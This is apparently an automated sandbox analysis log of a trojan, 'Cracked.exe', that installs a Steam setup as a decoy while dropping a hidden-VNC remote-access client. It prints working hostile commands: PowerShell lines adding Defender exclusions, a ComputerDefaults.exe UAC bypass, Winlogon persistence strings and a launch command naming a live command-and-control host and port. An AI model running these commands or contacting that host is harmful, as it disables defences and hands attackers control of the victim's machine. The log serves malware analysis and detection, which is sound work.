Source: C:\Program Files (x86)\Steam\Steam.exe	File created: C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\alpha_controller_callout_backside_left.png_ entropy: 7.99178780491	Jump to dropped file
Source: C:\Program Files (x86)\Steam\Steam.exe	File created: C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\alpha_controller_callout_backside_right.png_ entropy: 7.99101982813	Jump to dropped file
Source: C:\Program Files (x86)\Steam\Steam.exe	File created: C:\Program Files (x86)\Steam\package\tenfoot_dicts_all.zip.3a6cb3db75398c509bdc6e389408b6951017494b entropy: 7.99415527431	Jump to dropped file
Source: C:\Program Files (x86)\Steam\Steam.exe	File created: C:\Program Files (x86)\Steam\package\tenfoot_ambientsounds_all.zip.c8342205c2cdfec5329ec8ec2905ddaa33be3cb8 entropy: 7.99893746603	Jump to dropped file
Source: C:\Program Files (x86)\Steam\Steam.exe	File created: C:\Program Files (x86)\Steam\package\tenfoot_fonts_all.zip.vz.e19674422bc376becd7bf4a73b4b52eefc34c7fe_12075477 entropy: 7.99998567257	Jump to dropped file
Source: C:\Program Files (x86)\Steam\Steam.exe	File created: C:\Program Files (x86)\Steam\package\tenfoot_misc_all.zip.a49df66ba6bd900ed2c58bb4a9a578752f73f511 entropy: 7.99926375925	Jump to dropped file
Source: C:\Program Files (x86)\Steam\Steam.exe	File created: C:\Program Files (x86)\Steam\package\resources_misc_all.zip.vz.e86a975545f3ab21a77373870cb311ef93934b8c_2224876 entropy: 7.99991625846	Jump to dropped file
Source: C:\Program Files (x86)\Steam\Steam.exe	File created: C:\Program Files (x86)\Steam\package\friendsui_all.zip.vz.dc5a05e568618d8b9a42a7ffb9c85a8368b39e19_2792909 entropy: 7.99992707544	Jump to dropped file
Source: C:\Program Files (x86)\Steam\Steam.exe	File created: C:\Program Files (x86)\Steam\package\tenfoot_all.zip.vz.fab79f3519d90c15a2afbbc46e6c340b861953d1_2381108 entropy: 7.99993163358	Jump to dropped file
Source: C:\Program Files (x86)\Steam\Steam.exe	File created: C:\Program Files (x86)\Steam\package\tenfoot_sounds_all.zip.vz.3a674120cadd742865159e85dd3ec75b7dcc748c_1226636 entropy: 7.99985086495	Jump to dropped file
Source: C:\Program Files (x86)\Steam\Steam.exe	File created: C:\Program Files (x86)\Steam\package\strings_all.zip.vz.b4145d1f5eecd6456963e7c2b090d31360713c57_1976877 entropy: 7.99990943208	Jump to dropped file
Source: C:\Program Files (x86)\Steam\Steam.exe	File created: C:\Program Files (x86)\Steam\package\strings_en_all.zip.fa6949f4468780b96f0fd1dbaf1093db93b35245 entropy: 7.99333936725	Jump to dropped file
Source: C:\Program Files (x86)\Steam\Steam.exe	File created: C:\Program Files (x86)\Steam\package\resources_all.zip.vz.87b7b04f8107a68259af46cb088551ff46016ecf_19357713 entropy: 7.99999076237	Jump to dropped file
Source: C:\Program Files (x86)\Steam\Steam.exe	File created: C:\Program Files (x86)\Steam\package\resources_hidpi_all.zip.vz.3de815c3117712cb9eeb7ea4c8b275faf481dcfd_56342 entropy: 7.99623176649	Jump to dropped file
Source: C:\Program Files (x86)\Steam\Steam.exe	File created: C:\Program Files (x86)\Steam\package\resources_music_all.zip.vz.6ab5be2f768f6d1bf0bcbd0f7ad2beb081b7472d_3707757 entropy: 7.99995676218	Jump to dropped file
Source: C:\Program Files (x86)\Steam\Steam.exe	File created: C:\Program Files (x86)\Steam\package\steamui_websrc_all.zip.vz.69019218fe12f0c44fbad339b6e6bee6d7cdd142_22923135 entropy: 7.99999110033	Jump to dropped file
Source: C:\Program Files (x86)\Steam\Steam.exe	File created: C:\Program Files (x86)\Steam\package\bins_misc_win32.zip.vz.f35d293b528a5cff5266c168f6bb160cc383e743_13267842 entropy: 7.99998468736	Jump to dropped file
Source: C:\Program Files (x86)\Steam\Steam.exe	File created: C:\Program Files (x86)\Steam\package\tenfoot_images_all.zip.vz.2bb2e0fd7778b60915d496578aa4722e1db8c58f_32706663 entropy: 7.99999446486	Jump to dropped file
Source: C:\Program Files (x86)\Steam\Steam.exe	File created: C:\Program Files (x86)\Steam\package\bins_codecs_win32.zip.vz.75115d428dad4c6577a2fa8a6f8f422fa17b16cc_3095158 entropy: 7.99993911286	Jump to dropped file
Source: C:\Program Files (x86)\Steam\Steam.exe	File created: C:\Program Files (x86)\Steam\package\bins_win32.zip.vz.0fea7d66ad9217cd0646c9cee096c21a2d85e649_29716075 entropy: 7.99999377903	Jump to dropped file
Source: C:\Program Files (x86)\Steam\Steam.exe	File created: C:\Program Files (x86)\Steam\package\bins_webhelpers_win32_win7.zip.vz.fa3bae3977ba300407e6b2e070a0d65cc7a263bd_2472436 entropy: 7.9999223464	Jump to dropped file
Source: C:\Program Files (x86)\Steam\Steam.exe	File created: C:\Program Files (x86)\Steam\package\steam_win32_steamrow.zip.vz.f71a1a31ad111088c819b824acbf9063248dc6d9_1801552 entropy: 7.99991315154	Jump to dropped file
Source: C:\Program Files (x86)\Steam\Steam.exe	File created: C:\Program Files (x86)\Steam\package\bins_webhelpers_win32_win10-64.zip.vz.c6c592a091c27d3dbbc42efdc0c8566ca2d46dbc_2813841 entropy: 7.99993478106	Jump to dropped file
Source: C:\Program Files (x86)\Steam\Steam.exe	File created: C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\welcomeupdates\bigpicture.png_ entropy: 7.99229051005	Jump to dropped file
Source: C:\Program Files (x86)\Steam\Steam.exe	File created: C:\Program Files (x86)\Steam\package\bins_cef_win32_win7.zip.vz.84d4bf110fe50eae384af648416cfd65cf7130b7_66324270 entropy: 7.99999736625	Jump to dropped file
Source: C:\Program Files (x86)\Steam\Steam.exe	File created: C:\Program Files (x86)\Steam\package\public_all.zip.vz.9c814ca63a5b4779fbd99234e4c6ccdbcfb2cafb_10209176 entropy: 7.99998073032	Jump to dropped file
Source: C:\Program Files (x86)\Steam\Steam.exe	File created: C:\Program Files (x86)\Steam\package\bins_cef_win32_win10-64.zip.vz.d63bcb5a2d579f048538e61ef9e9faa9ff46e362_68607483 entropy: 7.99999712878	Jump to dropped file
Source: C:\Program Files (x86)\Steam\Steam.exe	File created: C:\Program Files (x86)\Steam\package\steamui_websrc_movies_all.zip.e92f802a10e9495b1b1d84eca244237b0e1f6242 entropy: 7.99959817456	Jump to dropped file
Source: C:\Program Files (x86)\Steam\Steam.exe	File created: C:\Program Files (x86)\Steam\package\steamui_websrc_sounds_all.zip.vz.bd24952948415fdf999cc7546ec13ff0053438dd_2434551 entropy: 7.99992426899	Jump to dropped file
Source: C:\Program Files (x86)\Steam\Steam.exe	File created: C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\welcomeupdates\controller_update_gyro.webm_ entropy: 7.99966059949	Jump to dropped file
Source: C:\Program Files (x86)\Steam\Steam.exe	File created: C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\carousel_bg.png_ entropy: 7.99608137958	Jump to dropped file
Source: C:\Program Files (x86)\Steam\Steam.exe	File created: C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\homeglow.png_ entropy: 7.99519482807	Jump to dropped file
Source: C:\Program Files (x86)\Steam\Steam.exe	File created: C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\intro_movie.webm_ entropy: 7.99971407679	Jump to dropped file
Source: C:\Program Files (x86)\Steam\Steam.exe	File created: C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\library_app_details_bg_wash.png_ entropy: 7.99487122354	Jump to dropped file
Source: C:\Program Files (x86)\Steam\Steam.exe	File created: C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\library_grid_bg_wash.png_ entropy: 7.99517707452	Jump to dropped file
Source: C:\Program Files (x86)\Steam\Steam.exe	File created: C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\overlay\overlay_bg_wash.png_ entropy: 7.99634343319	Jump to dropped file
Source: C:\Program Files (x86)\Steam\Steam.exe	File created: C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\store_app_bg.png_ entropy: 7.99661586426	Jump to dropped file
Source: C:\Program Files (x86)\Steam\Steam.exe	File created: C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\welcomeupdates\controllerbanner.png_ entropy: 7.99276970721	Jump to dropped file
Source: C:\Program Files (x86)\Steam\Steam.exe	File created: C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\welcomeupdates\gamesbanner.png_ entropy: 7.99369869828	Jump to dropped file
Source: C:\Program Files (x86)\Steam\Steam.exe	File created: C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\welcomeupdates\friends.png_ entropy: 7.99517611903	Jump to dropped file
Source: C:\Program Files (x86)\Steam\Steam.exe	File created: C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\welcomeupdates\overlay.png_ entropy: 7.99697352399	Jump to dropped file

Source: C:\Windows\Client.exe

Code function: 3_2_00007FFBAC1A3315 CreateDesktopW,

3_2_00007FFBAC1A3315

System Summary

Creates files with lurking names (e.g. Crack.exe)

Source: C:\Users\user\Desktop\Cracked.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Cracked.exe.log

Jump to behavior

.NET source code contains very large strings

Source: Client.exe.0.dr, HVNC.cs	Long String: Length: 65580
Source: hDvkdxlbo.exe.3.dr, HVNC.cs	Long String: Length: 65580
Source: 3.0.Client.exe.1b9babc0000.0.unpack, HVNC.cs	Long String: Length: 65580

Source: C:\Users\user\AppData\Local\Temp\SteamSetup.exe	Code function: 5_2_00406846	5_2_00406846
Source: C:\Users\user\AppData\Local\Temp\SteamSetup.exe	Code function: 5_2_00404C59	5_2_00404C59
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Code function: 7_2_054CB128	7_2_054CB128
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Code function: 7_2_054CB138	7_2_054CB138
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Code function: 7_2_054C5D88	7_2_054C5D88
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Code function: 7_2_09B98D78	7_2_09B98D78
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Code function: 7_2_09B9CE10	7_2_09B9CE10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Code function: 7_2_09B984A8	7_2_09B984A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Code function: 7_2_09B99AA3	7_2_09B99AA3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Code function: 7_2_09B95138	7_2_09B95138
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Code function: 7_2_09B98160	7_2_09B98160
Source: C:\Program Files (x86)\Steam\bin\SteamService.exe	Code function: 13_2_01061000	13_2_01061000
Source: C:\Program Files (x86)\Steam\bin\SteamService.exe	Code function: 13_2_01063A9D	13_2_01063A9D

Source: Cracked.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\SteamSetup.exe

Code function: 5_2_004033B6 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,ExitProcess,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

5_2_004033B6

Source: C:\Users\user\Desktop\Cracked.exe

File created: C:\Windows\Client.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\SteamSetup.exe

Code function: 5_2_023610D0 GetVersionExW,LoadLibraryW,GetProcAddress,LocalAlloc,LocalAlloc,NtQuerySystemInformation,LocalFree,LocalAlloc,FreeLibrary,lstrcpynW,lstrcmpiW,LocalFree,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,lstrlenW,lstrlenA,MultiByteToWideChar,lstrcmpiW,CloseHandle,FreeLibrary,

5_2_023610D0

Source: Cracked.exe, 00000000.00000002.358073065.000000000071A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameclr.dllT vs Cracked.exe

Source: Cracked.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Steam.lnk.5.dr	LNK file: ..\..\..\Program Files (x86)\Steam\Steam.exe
Source: Steam.lnk0.5.dr	LNK file: ..\..\..\..\..\..\Program Files (x86)\Steam\Steam.exe

Source: C:\Users\user\Desktop\Cracked.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Cracked.exe.log

Jump to behavior

Source: classification engine

Classification label: mal100.rans.troj.spyw.evad.winEXE@24/1085@0/4

Source: C:\Users\user\Desktop\Cracked.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: 3.0.Client.exe.1b9babc0000.0.unpack, Program.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 3.0.Client.exe.1b9babc0000.0.unpack, Program.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: Client.exe.0.dr, Program.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: Client.exe.0.dr, Program.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: hDvkdxlbo.exe.3.dr, Program.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: hDvkdxlbo.exe.3.dr, Program.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 7.2.cvtres.exe.400000.0.unpack, HVNC.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 7.2.cvtres.exe.400000.0.unpack, HVNC.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: C:\Users\user\AppData\Local\Temp\SteamSetup.exe

File created: C:\Program Files (x86)\Steam

Jump to behavior

Source: C:\Users\user\Desktop\Cracked.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Cracked.exe C:\Users\user\Desktop\Cracked.exe
Source: C:\Users\user\Desktop\Cracked.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAZABjACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG0AZQB4ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHMAbQBsACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG0AYgBqACMAPgA=
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Cracked.exe	Process created: C:\Windows\Client.exe "C:\Windows\Client.exe"
Source: C:\Windows\Client.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe
Source: C:\Users\user\Desktop\Cracked.exe	Process created: C:\Users\user\AppData\Local\Temp\SteamSetup.exe "C:\Users\user\AppData\Local\Temp\SteamSetup.exe"
Source: unknown	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe /NOUACCHECK
Source: C:\Windows\Client.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client line-ellis.gl.at.ply.gg 10735 nAChhjAnR
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Client.exe	Process created: C:\Windows\System32\ComputerDefaults.exe "C:\Windows\System32\ComputerDefaults.exe"
Source: C:\Windows\System32\ComputerDefaults.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "PowerShell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\LHost\hDvkdxlbo.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\SteamSetup.exe	Process created: C:\Program Files (x86)\Steam\bin\SteamService.exe "C:\Program Files (x86)\Steam\bin\steamservice.exe" /Install
Source: C:\Program Files (x86)\Steam\bin\SteamService.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Program Files (x86)\Steam\Steam.exe "C:\Program Files (x86)\Steam\steam.exe" -silent
Source: unknown	Process created: C:\Program Files (x86)\Steam\Steam.exe "C:\Program Files (x86)\Steam\steam.exe"
Source: C:\Users\user\Desktop\Cracked.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAZABjACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG0AZQB4ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHMAbQBsACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG0AYgBqACMAPgA=	Jump to behavior
Source: C:\Users\user\Desktop\Cracked.exe	Process created: C:\Windows\Client.exe "C:\Windows\Client.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Cracked.exe	Process created: C:\Users\user\AppData\Local\Temp\SteamSetup.exe "C:\Users\user\AppData\Local\Temp\SteamSetup.exe"	Jump to behavior
Source: C:\Windows\Client.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe	Jump to behavior
Source: C:\Windows\Client.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client line-ellis.gl.at.ply.gg 10735 nAChhjAnR	Jump to behavior
Source: C:\Windows\Client.exe	Process created: C:\Windows\System32\ComputerDefaults.exe "C:\Windows\System32\ComputerDefaults.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SteamSetup.exe	Process created: C:\Program Files (x86)\Steam\bin\SteamService.exe "C:\Program Files (x86)\Steam\bin\steamservice.exe" /Install	Jump to behavior
Source: C:\Windows\System32\ComputerDefaults.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "PowerShell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\LHost\hDvkdxlbo.exe'

Source: C:\Users\user\Desktop\Cracked.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\InProcServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\SteamSetup.exe

5_2_004033B6

Source: C:\Users\user\Desktop\Cracked.exe

File created: C:\Users\user\AppData\Local\Temp\SteamSetup.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\SteamSetup.exe

Code function: 5_2_00402095 CoCreateInstance,

5_2_00402095

Source: C:\Users\user\AppData\Local\Temp\SteamSetup.exe

Code function: 5_2_004046DD GetDlgItem,SetWindowTextW,SHAutoComplete,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceExW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

5_2_004046DD

Source: cvtres.exe, 00000007.00000003.364980789.000000000559A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Cracked.exe	Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%
Source: C:\Users\user\Desktop\Cracked.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\Client.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll

Source: Cracked.exe, chrlpqwhqnlljwjaquyetrtdhhvlfwdugwfxja.cs	Base64 encoded string: 'Wnwa+pRzBEy8HvnyvSGlCNZKEL+JO7AoKBcdFyAnMIuYVcfkakTkcgpUPpvqT2aTxwzeJ8rT5/lnuAj9MrqRRGtDTFzR0Ko5kw3GM4y3TNNssCN4URMqWQGBvIMFVeJwLeC6FGqD6/vZUEGygxZuwd3BOp2R5Usu2m7o/3I9o4DGL6UWfxj6rGpEoCWZJ1RlnB8EkzyVFTlyIshdHmZaLxsH3st4YfptO+RKSgqPoND5dd6NCnoFBqW7h/UftRP3TkBlgdcslYJxbDE8ri91ZCQ4DTk37lJkmfHGlFxstRwou/dKePymEyXfz9E4AzK1vY3GUQy0VHzuUnnVetDBELpTBq9MUpxXmBLGDzN/TJbD+zAMm2QJ8v2ciBF4EbXf7kJ3sdpedIELKX5kC2SQFw=='
Source: Client.exe.0.dr, Installer.cs	Base64 encoded string: 'U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3MgTlRcQ3VycmVudFZlcnNpb25cV2lubG9nb25c', 'U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3MgTlRcQ3VycmVudFZlcnNpb25cV2lubG9nb24=', 'U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3MgTlRcQ3VycmVudFZlcnNpb25cV2lubG9nb25c'
Source: hDvkdxlbo.exe.3.dr, Installer.cs	Base64 encoded string: 'U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3MgTlRcQ3VycmVudFZlcnNpb25cV2lubG9nb25c', 'U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3MgTlRcQ3VycmVudFZlcnNpb25cV2lubG9nb24=', 'U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3MgTlRcQ3VycmVudFZlcnNpb25cV2lubG9nb25c'
Source: 3.0.Client.exe.1b9babc0000.0.unpack, Installer.cs	Base64 encoded string: 'U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3MgTlRcQ3VycmVudFZlcnNpb25cV2lubG9nb25c', 'U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3MgTlRcQ3VycmVudFZlcnNpb25cV2lubG9nb24=', 'U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3MgTlRcQ3VycmVudFZlcnNpb25cV2lubG9nb25c'

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7916:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1332:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7532:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7360:120:WilError_01
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Mutant created: \Sessions\1\BaseNamedObjects\nAChhjAnR
Source: C:\Users\user\AppData\Local\Temp\SteamSetup.exe	Mutant created: \Sessions\1\BaseNamedObjects\SteamSingleInstance

Source: C:\Windows\Client.exe	Process created: C:\Windows\explorer.exe
Source: unknown	Process created: C:\Windows\explorer.exe
Source: C:\Windows\Client.exe	Process created: C:\Windows\explorer.exe	Jump to behavior

Source: Cracked.exe, chrlpqwhqnlljwjaquyetrtdhhvlfwdugwfxja.cs	Cryptographic APIs: 'CreateDecryptor'
Source: Client.exe.0.dr, Pikolo.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: Client.exe.0.dr, Pikolo.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: hDvkdxlbo.exe.3.dr, Pikolo.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: hDvkdxlbo.exe.3.dr, Pikolo.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 3.0.Client.exe.1b9babc0000.0.unpack, Pikolo.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 3.0.Client.exe.1b9babc0000.0.unpack, Pikolo.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 7.2.cvtres.exe.400000.0.unpack, PandoraRecovery.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 7.2.cvtres.exe.400000.0.unpack, PandoraRecovery.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Steam\Steam.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Program Files (x86)\Steam\Steam.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Program Files (x86)\Steam\Steam.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: C:\Users\user\AppData\Local\Temp\SteamSetup.exe	Automated click: Next >
Source: C:\Users\user\AppData\Local\Temp\SteamSetup.exe	Automated click: Next >
Source: C:\Users\user\AppData\Local\Temp\SteamSetup.exe	Automated click: Install

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\Cracked.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: Cracked.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: C:\Windows\System32\ComputerDefaults.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Office\16.0\Outlook\Capabilities\UrlAssociations

Source: Cracked.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Cracked.exe

Static file information: File size 2466816 > 1048576

Source: Cracked.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x259a00

Source: Cracked.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: c:\buildslave\steam_rel_client_win32\build\src\SteamServiceHost\Release\SteamService_exe.pdb source: SteamSetup.exe, 00000005.00000002.444245436.0000000002864000.00000004.00000020.00020000.00000000.sdmp, SteamService.exe, 0000000D.00000003.419642443.000000000354A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\User\Desktop\Pandora DevExpress New\1.8.6 Ready to use\DLL\obj\Release\DLL.pdb source: Client.exe, 00000003.00000002.620873445.000001B9BC7F1000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 00000007.00000002.617474210.0000000000402000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: c:\buildslave\steam_rel_client_win32\build\src\steamexe\Release\steamexe.pdb source: SteamSetup.exe, 00000005.00000002.444245436.0000000002864000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: .pdb source: Client.exe, 00000003.00000002.620873445.000001B9BC7F1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: .pdbd( source: Client.exe, 00000003.00000002.620873445.000001B9BC7F1000.00000004.00000800.00020000.00000000.sdmp
